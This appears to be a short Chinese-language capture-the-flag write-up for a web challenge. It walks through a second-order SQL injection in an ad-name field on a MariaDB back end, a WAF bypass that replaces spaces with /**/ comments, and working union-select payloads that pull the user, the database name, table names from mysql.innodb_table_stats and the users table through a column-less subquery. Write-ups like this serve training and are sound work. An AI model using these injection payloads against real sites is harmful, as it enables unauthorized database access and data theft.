C
C
CTF-WriteUp
Search
⌃K

Web1

注册、登录、广告页面可能存在SQL注入。在广告页面使用
查看广告详情产生报错,由此推断此为SQL注入点。另外通过报错,可以知道这是MairaDB数据库。
初步判断是二次注入,且注入点在广告名(即ID中)。
尝试万能密码,发现存在waf。
尝试fuzz了一下,但是因为广告发布次数存在上限,所以fuzz效果不佳。
但是大概还是知道or被过滤了,所以order by 语句,information_schema不能使用了。
发现空格被正则,使用/**/绕过,剩下的就比较简单,爆列(22列,就尼玛离谱)其中2、3列回显。
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆库名:
-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
来自官方对mysql.innodb_tables_stats的解释:
参考博客:
在mysql5.6以上的版本中,会在系统库MYSQL库中存在两张与innodb相关的表innodb_index_stats和innodb_table_stats。 其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称,也就是和information_schema.schemata差不多。 innodb_table_stats存储的是innodb引擎的库名和表名,也就是和information_schema.tables差不多。
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
可惜用这种方法只能爆表名,不能爆列。
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
子查询拿flag。